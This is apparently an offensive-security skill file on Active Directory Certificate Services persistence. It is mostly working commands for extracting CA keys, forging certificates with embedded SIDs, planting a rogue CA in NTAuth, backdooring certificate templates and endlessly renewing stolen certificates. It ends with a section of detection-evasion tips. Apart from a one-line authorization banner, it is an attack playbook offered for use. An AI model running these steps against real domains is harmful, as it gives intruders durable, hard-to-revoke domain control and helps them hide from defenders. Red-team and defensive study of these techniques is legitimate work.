AD CS Domain Persistence

This skill covers domain persistence techniques using Active Directory Certificate Services (AD CS). These methods enable long-term access to compromised environments through certificate-based authentication.

⚠️ AUTHORIZED USE ONLY: These techniques are for authorized security testing, red teaming, and defensive research. Always have written authorization before testing.

Overview

AD CS persistence provides several advantages:

• Long validity: Certificates can remain valid for 5-10+ years
• Hard to detect: Forged certificates aren't tracked in CA databases
• Cannot be revoked: Unknown certificates can't be revoked by the CA
• Works with machines: Combined with S4U2Self, enables persistence on any domain machine

Technique 1: Golden Certificate (DPERSIST1)

Forge certificates using a stolen CA certificate and private key.

Identifying CA Certificates

A certificate is a CA certificate if:

• Stored on CA server with private key secured by DPAPI/TPM/HSM
• Issuer and Subject fields match the CA's distinguished name
• Contains "CA Version" extension (exclusive to CA certificates)
• Lacks Extended Key Usage (EKU) fields

Extracting CA Certificate and Private Key

Method 1: Using certsrv.msc (GUI)

• Open

  certsrv.msc

  on the CA server
• Navigate to the certificate and export with private key

Method 2: Using Certipy

certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup

Method 3: DPAPI Theft

• Apply THEFT2 technique to extract from system storage

Forging Certificates

Using ForgeCert:

ForgeCert.exe --CaCertPath ca.pfx \
  --CaCertPassword Password123! \
  --Subject "CN=User" \
  --SubjectAltName localadmin@theshire.local \
  --NewCertPath localadmin.pfx \
  --NewCertPassword Password123!

Using Certipy:

certipy forge -ca-pfx CORP-DC-CA.pfx \
  -upn administrator@corp.local \
  -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'

Authentication with Forged Certificate

Using Rubeus:

Rubeus.exe asktgt /user:localdomain \
  /certificate:C:\ForgeCert\localadmin.pfx \
  /password:Password123!

Using Certipy:

certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128

Important Considerations

• Target must be active: The user targeted for forgery must be capable of authenticating in AD
• krbtgt is ineffective: Forging certificates for special accounts like krbtgt won't work
• Validity: Forged certificates are valid until their end date AND as long as the root CA is valid
• No revocation: CA is unaware of forged certificates, so they cannot be revoked

Strong Certificate Mapping Enforcement (2025+)

Since February 11, 2025 (KB5014754), domain controllers default to Full Enforcement for certificate mappings. Forged certificates must:

1. Contain a strong binding to the target account (SID security extension), OR
2. Be paired with a strong explicit mapping on the target object's

   altSecurityIdentities

   attribute

Explicit Strong Mapping:

# Map forged cert to target account using Issuer+Serial (strong mapping)
$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'           # reverse DN format
$SerialR = '1200000000AC11000000002B'                  # serial in reversed byte order
$Map     = "X509:<I>$Issuer<SR>$SerialR"             # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

SID-Aware Forging (Recommended):

# Certify 2.0 with SID embedding
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
  --upn administrator@corp.local \
  --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
  --outfile administrator_sid.pfx

# Certipy with SID support
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
  -sid S-1-5-21-1111111111-2222222222-3333333333-500 \
  -out administrator_sid.pfx

Benefits of SID embedding:

• Avoids touching

  altSecurityIdentities

  (which may be monitored)
• Satisfies strong mapping checks automatically
• Works under Full Enforcement without additional configuration

Technique 2: Rogue CA Trust (DPERSIST2)

Add a self-signed CA certificate to the

NTAuthCertificates

object in Active Directory.

Understanding NTAuthCertificates

• The

  NTAuthCertificates

  object contains CA certificates in its

  cacertificate

  attribute
• Domain controllers check this object during certificate authentication
• Authentication succeeds if the certificate's Issuer matches an entry in NTAuthCertificates

Required Permissions

Normally only these groups can modify NTAuthCertificates:

• Enterprise Admins
• Domain Admins (in forest root domain)
• Administrators (in forest root domain)

Adding Rogue CA Certificate

Using certutil:

# Add certificate to Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt

# View current NTAuth store
certutil -enterprise -viewstore NTAuth

# Remove certificate by thumbprint
certutil -enterprise -delstore NTAuth <Thumbprint>

# Publish to AD CA containers (improves chain building across forest)
certutil -dspublish -f C:\Temp\CERT.crt RootCA          # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA               # CN=AIA

Using PKI Health Tool:

• Microsoft's GUI tool for importing third-party CAs to Enterprise NTAuth store

Combining with Certificate Forging

1. Create a self-signed CA certificate
2. Add it to NTAuthCertificates
3. Use ForgeCert to generate certificates signed by your rogue CA
4. Authenticate with the forged certificates

Post-2025 Considerations

Placing a rogue CA in NTAuth only establishes trust in the issuing CA. For leaf certificates to work under Full Enforcement:

• The leaf must contain the SID security extension, OR
• There must be a strong explicit mapping on the target object (Issuer+Serial in

  altSecurityIdentities

  )

Technique 3: Malicious Misconfiguration (DPERSIST3)

Modify security descriptors of AD CS components to enable persistence.

Target Components

Attackers with elevated access can modify:

• CA server's AD computer object
• CA server's RPC/DCOM server
• Descendant objects in

  CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>

  :
  • Certificate Templates container
  • Certification Authorities container
  • NTAuthCertificates object
• AD groups with delegated AD CS rights (e.g., Cert Publishers)

Example: User Template Manipulation

1. Add

   WriteOwner

   permission to the default

   User

   certificate template
2. Change ownership of the template to yourself
3. Set

   mspki-certificate-name-flag

   to

   1

   (enables

   ENROLLEE_SUPPLIES_SUBJECT

   )
4. Enroll using the template with a domain administrator name as SAN
5. Use the acquired certificate for DA authentication

Persistence Configuration Options

CA Policy Flags:

• Enable

  EDITF_ATTRIBUTESUBJECTALTNAME2

  to allow SAN from requesters
• Keeps ESC1-like paths exploitable

Template Settings:

• Add Client Authentication EKU
• Enable

  CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

• Modify DACL to allow unauthorized enrollment

NTAuth Control:

• Control

  NTAuthCertificates

  object to re-introduce rogue issuers after cleanup attempts
• Control CA containers for continuous persistence

Full Enforcement Compatibility

In hardened environments (post-KB5014754), pair misconfigurations with explicit strong mappings:

# Add strong mapping to ensure certificates remain usable
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

Technique 4: Certificate Renewal Abuse (ESC14)

Renew compromised certificates indefinitely to maintain access.

How It Works

If you have an authentication-capable certificate (or Enrollment Agent certificate):

• You can renew it indefinitely
• Valid as long as the issuing template remains published
• Valid as long as CA trusts the issuer chain
• Keeps original identity bindings but extends validity
• Difficult to evict unless template is fixed or CA is republished

Renewal Commands

Renew stolen user certificate:

certipy req -ca CORP-DC-CA \
  -template User \
  -pfx stolen_user.pfx \
  -renew \
  -out user_renewed_2026.pfx

Renew on-behalf-of certificate (Enrollment Agent):

certipy req -ca CORP-DC-CA \
  -on-behalf-of 'CORP/victim' \
  -pfx agent.pfx \
  -renew \
  -out victim_renewed.pfx

Full Enforcement compatible renewal:

# Add SID for strong mapping under Full Enforcement
certipy req -ca CORP-DC-CA \
  -template User \
  -pfx stolen_user.pfx \
  -renew \
  -sid S-1-5-21-1111111111-2222222222-3333333333-500 \
  -out user_renewed_sid.pfx

Extending Renewal Validity

Attackers with CA admin rights can modify renewal periods:

• Tweak

  policy\RenewalValidityPeriodUnits

  to lengthen renewed certificate lifetimes
• Issue certificates to themselves with extended validity

Tool Summary

Tool	Purpose	Key Features
Certipy	CA operations, forging, renewal	Python-based, SID support, renewal abuse
Certify	Certificate operations	ForgeCert integration, SID embedding (v2.0+)
ForgeCert	Certificate forgery	Standalone forging tool
Rubeus	Kerberos operations	Certificate-based authentication
certutil	Windows certificate management	NTAuth store manipulation

Detection Evasion Tips

1. Use SID embedding: Avoids

   altSecurityIdentities

   modifications that may be monitored
2. Time operations: Perform certificate operations during normal business hours
3. Use legitimate templates: Prefer existing templates over creating new ones
4. Avoid obvious targets: Don't immediately target krbtgt or high-value accounts
5. Renew strategically: Renew certificates before they expire to maintain access

References

• Microsoft KB5014754 – Certificate-based authentication changes
• Certipy – Command Reference
• SpecterOps – Certify 2.0
• ESC14 renewal abuse overview
• SpecterOps – Certified Pre-Owned PDF